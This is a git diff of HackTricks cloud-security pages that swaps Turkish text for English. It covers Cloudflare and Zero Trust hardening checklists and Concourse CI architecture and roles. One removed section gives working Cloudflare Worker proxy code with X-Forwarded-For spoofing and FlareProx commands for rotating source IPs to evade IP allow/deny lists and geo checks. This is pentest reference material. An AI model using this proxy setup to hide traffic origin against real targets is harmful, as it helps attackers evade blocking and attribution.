||||
### Access
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Hız
|
||||
### Speed
|
||||
|
||||
_Güvenlikle ilgili herhangi bir seçenek bulamadım_
|
||||
_I couldn't find any option related to security_
|
||||
|
||||
### Önbellekleme
|
||||
### Caching
|
||||
|
||||
- [ ] **`Yapılandırma`** bölümünde **CSAM Tarama Aracı**'nı etkinleştirmeyi düşünün
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
|
||||
### **Workers Yolları**
|
||||
### **Workers Routes**
|
||||
|
||||
_Daha önce_ [_cloudflare workers_](#workers) _kontrol etmiş olmalısınız_
|
||||
_You should have already checked_ [_cloudflare workers_](#workers)
|
||||
|
||||
### Kurallar
|
||||
### Rules
|
||||
|
||||
TODO
|
||||
|
||||
### Ağ
|
||||
### Network
|
||||
|
||||
- [ ] Eğer **`HTTP/2`** **etkinse**, **`HTTP/2 to Origin`** **etkin** olmalıdır
|
||||
- [ ] **`HTTP/3 (QUIC ile)`** **etkin** olmalıdır
|
||||
- [ ] Eğer **kullanıcılarınızın** **gizliliği** önemliyse, **`Onion Routing`**'in **etkin** olduğundan emin olun
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
|
||||
### **Trafik**
|
||||
### **Traffic**
|
||||
|
||||
TODO
|
||||
|
||||
### Özel Sayfalar
|
||||
### Custom Pages
|
||||
|
||||
- [ ] Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, hız sınırlaması veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
|
||||
### Uygulamalar
|
||||
### Apps
|
||||
|
||||
TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] **E-posta Adresi Gizleme**'nin **etkin** olduğunu kontrol edin
|
||||
- [ ] **Sunucu tarafı Hariç Tutmalar**'ın **etkin** olduğunu kontrol edin
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,3 +131,6 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,286 +0,0 @@
|
||||
# Cloudflare Workers'ı pass-through proxy'leri olarak kötüye kullanma (IP rotasyonu, FireProx tarzı)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers, upstream hedef URL'si istemci tarafından sağlanan şeffaf HTTP pass-through proxy'leri olarak dağıtılabilir. İstekler Cloudflare ağından egress olur, bu yüzden hedef istemci yerine Cloudflare IP'lerini görür. Bu, AWS API Gateway üzerindeki bilinen FireProx tekniğini yansıtır, ancak Cloudflare Workers kullanır.
|
||||
|
||||
### Temel yetenekler
|
||||
- Tüm HTTP yöntemlerini destekler (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Hedef query parametresi (?url=...), bir header (X-Target-URL) ile veya hatta path içinde kodlanmış olarak (ör. /https://target) sağlanabilir
|
||||
- Header'lar ve body gerektiğinde hop-by-hop/header filtresi uygulanarak proxy'lenir
|
||||
- Yanıtlar status kodunu ve çoğu header'ı koruyarak geri iletilir
|
||||
- Opsiyonel olarak X-Forwarded-For taklidi (Worker bunu kullanıcı kontrollü bir header'dan ayarlıyorsa)
|
||||
- Birden fazla Worker endpoint'i dağıtarak ve istekleri fan-out yaparak son derece hızlı/kolay rotasyon
|
||||
|
||||
### Nasıl çalışır (akış)
|
||||
1) İstemci bir Worker URL'sine (`<name>.<account>.workers.dev` veya bir custom domain route) HTTP isteği gönderir.
|
||||
2) Worker hedefi ya bir query parametresinden (?url=...), X-Target-URL header'ından veya uygulanmışsa bir path segmentinden çıkarır.
|
||||
3) Worker gelen method, header'lar ve body'i belirtilen upstream URL'e iletir (problemli header'ları filtreleyerek).
|
||||
4) Upstream yanıtı Cloudflare üzerinden istemciye stream edilir; origin Cloudflare çıkış IP'lerini görür.
|
||||
|
||||
### Worker uygulama örneği
|
||||
- Hedef URL'yi query param, header veya path'ten okur
|
||||
- Güvenli bir header alt kümesini kopyalar ve orijinal method/body'yi iletir
|
||||
- Opsiyonel olarak X-Forwarded-For'u kullanıcı kontrollü bir header (X-My-X-Forwarded-For) veya rastgele bir IP kullanarak ayarlar
|
||||
- Geniş izinli CORS ekler ve preflight'ı işler
|
||||
|
||||
<details>
|
||||
<summary>Pass-through proxy için örnek Worker (JavaScript)</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### FlareProx ile dağıtım ve rotasyonu otomatikleştirme
|
||||
|
||||
FlareProx, Cloudflare API'yi kullanarak birçok Worker endpoints dağıtan ve bunlar arasında rotasyon yapan bir Python aracıdır. Bu, Cloudflare’s network üzerinden FireProx-benzeri IP rotasyonu sağlar.
|
||||
|
||||
Kurulum
|
||||
1) “Edit Cloudflare Workers” şablonunu kullanarak bir Cloudflare API Token oluşturun ve dashboard'dan Account ID'nizi alın.
|
||||
2) FlareProx'i yapılandırın:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**flareprox.json yapılandırma dosyasını oluşturun:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**CLI kullanımı**
|
||||
|
||||
- N adet Worker proxy oluşturun:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Uç noktaları listele:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Health-test endpoints:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Tüm endpoints'leri sil:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Worker üzerinden trafiği yönlendirme**
|
||||
- Sorgu parametresi biçimi:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Başlık formu:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Yol biçimi (uygulandıysa):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Yöntem örnekleri:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` kontrol**
|
||||
|
||||
Worker `X-My-X-Forwarded-For`'u dikkate alıyorsa, upstream `X-Forwarded-For` değerini etkileyebilirsiniz:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Programatik kullanım**
|
||||
|
||||
FlareProx kütüphanesini kullanarak endpoints oluşturun/listeleyin/test edin ve istekleri Python'dan yönlendirin.
|
||||
|
||||
<details>
|
||||
<summary>Python örneği: Rastgele bir Worker endpoint üzerinden bir POST gönderin</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner entegrasyonu**
|
||||
- Araçları (örneğin, Burp Suite) Worker URL'sine yönlendirin.
|
||||
- Gerçek upstream'i ?url= veya X-Target-URL kullanarak sağlayın.
|
||||
- HTTP semantics (methods/headers/body) korunur; kaynak IP'niz Cloudflare arkasında maskelenir.
|
||||
|
||||
**Operasyonel notlar ve sınırlamalar**
|
||||
- Cloudflare Workers Free plan hesap başına günde yaklaşık 100.000 isteğe izin verir; gerekirse trafiği dağıtmak için birden fazla endpoint kullanın.
|
||||
- Workers Cloudflare’ın ağında çalışır; birçok hedef yalnızca Cloudflare IP'lerini/ASN'lerini görecektir, bu da basit IP izin/red listelerini veya coğrafi heuristikleri atlatabilir.
|
||||
- Sorumlu şekilde ve yalnızca yetki/izin ile kullanın. ToS ve robots.txt'e uyun.
|
||||
|
||||
## Referanslar
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bir **Cloudflare Zero Trust Network** hesabında bazı **ayarlar ve hizmetler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Ortamı **tanımak için** faydalı
|
||||
- [ ] Useful to **get to know the environment**
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] **`Policies`** bölümünde, uygulamalara kimlerin erişebileceğini **DNS**, **ağ** veya **HTTP** isteği ile **kısıtlamak** için politikalar oluşturmak mümkündür.
|
||||
- Kullanılıyorsa, kötü niyetli sitelere erişimi **kısıtlamak** için **politikalar** oluşturulabilir.
|
||||
- Bu, **bir geçit kullanılıyorsa** **sadece** geçerlidir, aksi takdirde savunma politikaları oluşturmak için bir neden yoktur.
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
|
||||
### Access
|
||||
|
||||
#### Applications
|
||||
|
||||
Her uygulamada:
|
||||
On each application:
|
||||
|
||||
- [ ] **Kimlerin** uygulamaya erişebileceğini **Policies** bölümünde kontrol edin ve **sadece** uygulamaya **erişime ihtiyaç duyan** **kullanıcıların** erişebildiğinden emin olun.
|
||||
- Erişimi sağlamak için **`Access Groups`** kullanılacak (ve **ek kurallar** da ayarlanabilir)
|
||||
- [ ] **Mevcut kimlik sağlayıcılarını** kontrol edin ve bunların **çok açık olmadığından** emin olun.
|
||||
- [ ] **`Settings`** bölümünde:
|
||||
- [ ] **CORS'un etkin olmadığını** kontrol edin (etkinse, **güvenli** olduğundan ve her şeyi izin vermediğinden emin olun)
|
||||
- [ ] Çerezlerin **Strict Same-Site** niteliğine, **HTTP Only** olmasına ve uygulama HTTP ise **binding cookie**'nin **etkin** olmasına dikkat edilmelidir.
|
||||
- Daha iyi **koruma** için **Tarayıcı render'ını** etkinleştirmeyi de düşünün. Daha fazla bilgi için **[**uzaktan tarayıcı izolasyonu burada**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Oluşturulan erişim gruplarının **doğru bir şekilde kısıtlandığını** kontrol edin.
|
||||
- [ ] **Varsayılan erişim grubunun çok açık olmadığını** kontrol etmek özellikle önemlidir (çok fazla kişiye **izin vermemelidir**) çünkü **varsayılan** olarak o **gruptaki** herkes **uygulamalara erişebilecektir**.
|
||||
- **HERKESE** erişim vermenin ve diğer **çok açık politikaların** mümkün olduğunu unutmayın; bunlar %100 gerekli olmadıkça önerilmez.
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Tüm hizmet jetonlarının **1 yıl veya daha kısa sürede** süresinin dolduğunu kontrol edin.
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,12 +50,15 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] Kullanıcılardan **beklenmedik eylemler** arayabilirsiniz.
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] **Plan türünü** kontrol edin.
|
||||
- [ ] **Kredi kartı sahibi adı**, **son 4 haneler**, **son kullanma** tarihi ve **adres** görülebilir.
|
||||
- Bu hizmeti gerçekten kullanmayan kullanıcıları kaldırmak için **Bir Kullanıcı Koltuğu Süresi** eklemeniz önerilir.
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,33 +1,36 @@
|
||||
# Concourse Güvenliği
|
||||
# Concourse Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
Concourse, ihtiyaç duyduğunuzda (zaman bazlı, bir şey olduğunda...) testleri, eylemleri otomatik olarak çalıştırmak ve görüntüleri oluşturmak için **pipeline'lar** oluşturmanıza olanak tanır.
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
|
||||
## Concourse Mimarisi
|
||||
## Concourse Architecture
|
||||
|
||||
Concourse ortamının nasıl yapılandığını öğrenin:
|
||||
Learn how the concourse environment is structured in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse Laboratuvarı
|
||||
## Concourse Lab
|
||||
|
||||
Kendi testlerinizi yapmak için bir concourse ortamını yerel olarak nasıl çalıştırabileceğinizi öğrenin:
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse'u Sayısal Olarak Belirleme ve Saldırı
|
||||
## Enumerate & Attack Concourse
|
||||
|
||||
Concourse ortamını nasıl sayısal olarak belirleyip istismar edebileceğinizi öğrenin:
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,38 +1,42 @@
|
||||
# Concourse Mimarisi
|
||||
# Concourse Architecture
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concourse Mimarisi
|
||||
## Concourse Architecture
|
||||
|
||||
[**Concourse belgelerinden ilgili veriler:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Mimarisi
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: web UI & build zamanlayıcı
|
||||
#### ATC: web UI & build scheduler
|
||||
|
||||
ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu da pipeline verilerini (build günlükleri dahil) depolamak için kullanılır.
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
|
||||
[Checker](https://concourse-ci.org/checker.html), kaynakların yeni sürümlerini sürekli kontrol etmekten sorumludur. [Zamanlayıcı](https://concourse-ci.org/scheduler.html), bir iş için build'leri zamanlamaktan sorumludur ve [build izleyici](https://concourse-ci.org/build-tracker.html), herhangi bir zamanlanmış build'i çalıştırmaktan sorumludur. [Çöp toplayıcı](https://concourse-ci.org/garbage-collector.html), kullanılmayan veya eski nesneleri (konteynerler ve hacimler gibi) kaldırmak için temizlik mekanizmasıdır.
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
|
||||
#### TSA: işçi kaydı & yönlendirme
|
||||
#### TSA: worker registration & forwarding
|
||||
|
||||
TSA, yalnızca [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile güvenli bir şekilde **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**.
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://concourse-ci.org/internals.html#component-atc) ile birlikte yer alır ve bir yük dengeleyicinin arkasında bulunur.
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
|
||||
**TSA, SSH bağlantısı üzerinden CLI'yi uygular** ve [**bu komutları**](https://concourse-ci.org/internals.html#component-tsa) destekler.
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### İşçiler
|
||||
#### Workers
|
||||
|
||||
Görevleri yerine getirmek için Concourse'un bazı işçilere sahip olması gerekir. Bu işçiler, [TSA](https://concourse-ci.org/internals.html#component-tsa) aracılığıyla **kendilerini kaydeder** ve [**Garden**](https://github.com/cloudfoundry-incubator/garden) ve [**Baggageclaim**](https://github.com/concourse/baggageclaim) hizmetlerini çalıştırır.
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: Bu, genellikle **HTTP** üzerinden **port 7777**'de çalışan **Konteyner Yönetim API**'sidir.
|
||||
- **Baggageclaim**: Bu, genellikle **HTTP** üzerinden **port 7788**'de çalışan **Hacim Yönetim API**'sidir.
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -8,45 +8,47 @@
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse beş rol ile gelir:
|
||||
Concourse comes with five roles:
|
||||
|
||||
- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Adminler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez.
|
||||
- **owner**: Takım sahipleri **takım içindeki her şeyi değiştirebilir**.
|
||||
- **member**: Takım üyeleri **takım varlıkları içinde okuyabilir ve yazabilir** ancak takım ayarlarını değiştiremez.
|
||||
- **pipeline-operator**: Pipeline operatörleri **pipeline işlemleri** gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler.
|
||||
- **viewer**: Takım izleyicileri bir takıma ve onun pipeline'larına **"salt okunur"** erişime sahiptir.
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Ayrıca, **owner, member, pipeline-operator ve viewer rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Bunun hakkında daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Concourse'un **pipeline'ları Takımlar içinde grupladığını** unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline'ları yönetebilecektir ve **birden fazla Takım** var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir.
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
YAML yapılandırmalarında değerleri `((_source-name_:_secret-path_._secret-field_))` sözdizimini kullanarak yapılandırabilirsiniz.\
|
||||
[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacaktır veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\
|
||||
**isteğe bağlı \_secret-field**\_ alınan gizli veride okunacak bir alanı belirtir. Atlandığında, kimlik yöneticisi, alan mevcutsa alınan kimlikten bir 'varsayılan alan' okumayı seçebilir.\
|
||||
Ayrıca, _**secret-path**_ ve _**secret-field**_ özel karakterler içeriyorsa `"` ile çevrelenebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır.
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
